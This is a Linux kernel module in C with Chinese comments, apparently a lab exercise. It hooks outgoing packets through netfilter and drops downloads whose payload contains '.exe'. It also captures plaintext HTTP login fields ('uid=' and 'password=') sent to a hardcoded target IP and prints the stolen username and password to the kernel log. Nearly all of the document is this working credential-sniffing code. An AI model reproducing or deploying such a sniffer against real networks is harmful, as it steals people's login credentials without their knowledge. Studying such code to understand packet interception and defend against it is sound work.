如果运行成功,会发生如下现象:1.无法下载“.exe”文件;2.通过命令 dmesg 可以查看到自己在网页端登录时输入的账号和密码
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/inet.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("CHUANGUO");
//如果要注册一个钩子函数,必须先申明一个nf_hook_ops结构体
static struct nf_hook_ops nfho;
//要截图用户名密码的ip——202.38.64.8 CA264008
static unsigned char *filter_ip = "\xca\x26\x40\x08";
static char *username = NULL;//用于输出用户名
static char *password = NULL;//用于输出密码
//功能:如果本机发出的数据包中携带有用户名和密码,那么截获并打印
void get_password(struct sk_buff *skb){
struct tcphdr *tcp;
char *data;
char *name;
char *passwd;
char *_and;//用于定位 “;” 和 “&” 的位置
int len = 0;
int i = 0;
tcp=tcp_hdr(skb);
//tcp->doff为tcp头部长度,从tcp的起始位置,跳过头部长度,即tcp报文的payload
data = (char *)((unsigned long)tcp + (unsigned long)(tcp->doff * 4));
// printk("TCP头部和有效载荷为: %s\n", data);
// return ;
//过滤用户名,密码之前,先判断有效数据中有无相关参数字段
if (strstr(data, "uid") != NULL && strstr(data, "password") != NULL) {
//check_connection = strstr(data,"Connection");
name = strstr(data,"uid=");
_and = strstr(name,";");//找到紧跟用户名的分号的位置
name += 4;//跳过“uid=”部分,就是要捕获的用户名
len = _and - name;//用户名的长度
if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(username, 0x00, len + 2);
for (i = 0; i < len; ++i)
memcpy(username, name, len);
*(username + len) = '\0';
passwd = strstr(name,"password=");
_and = strstr(passwd,"&");
passwd += 9;//跳过“password”部分,就是要捕获的用户名
len = _and - passwd;//密码的长度
if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(password, 0x00, len + 2);
for (i = 0; i < len; ++i)
memcpy(password, passwd, len);
*(password + len) = '\0';
printk("Username: %s\nPassword: %s\n", username, password);
}
}
/* 钩子对应的处理函数,返回值必须是以下的某一个
*NF_DROP 丢弃数据包
*NF_ACCEPT 保留该数据包
*NF_STOLEN 忘记该数据包(但不丢弃)
*NF_QUEUE 将该数据包插入用户空间
*NF_REPEAT 再次调用该hook函数
*/
unsigned int hook_func(void *priv,
struct sk_buff *skb,
const struct nf_hook_state *state){
struct sk_buff *sb = skb;
struct tcphdr *tcp;
char * data;
//如果不是tcp连接,放行
if (ip_hdr(sb)->protocol != IPPROTO_TCP){
return NF_ACCEPT;
}
tcp = (struct tcphdr *)((sb->data) + (ip_hdr(sb)->ihl * 4));//sb->data即IP头部开始的位置,加上IP头部的长度可以定位tcp的头部位置
//如果tcp的有效载荷中包含字符串“.exe”,丢弃数据包
data = (char *)((unsigned long)tcp + (unsigned long)(tcp->doff * 4));
if(strstr(data, ".exe") != NULL){
return NF_DROP;
}
//判断要访问的是不是http80端口
if (tcp->dest != htons(80)){
return NF_ACCEPT;
}
//如果满足以上条件,并且数据包的目标ip是想要攻击的目标,执行get_password
if(ip_hdr(sb)->daddr == *(unsigned int *)filter_ip){
get_password(sb);
return NF_ACCEPT;
}
return NF_ACCEPT;
}
static __init int init_HTTP(void){
//对结构体nfho的各个属性赋值
nfho.hook = hook_func; //处理函数的指针
nfho.hooknum = NF_INET_POST_ROUTING;//调用钩子的时机
nfho.pf = PF_INET;//该钩子属于哪个协议族
nfho.priority = NF_IP_PRI_FIRST;//优先级,越小优先级越高
nf_register_net_hook(&init_net,&nfho);//将自己定义的钩子注册到内核中
return 0;
}
static __exit void cleanup_HTTP(void){
nf_unregister_net_hook(&init_net,&nfho);//将自己定义的钩子从内核中删除
}
module_init(init_HTTP);//entry,向内核插入模块要执行的操作
module_exit(cleanup_HTTP);//exit,从内核删除模块要执行的操作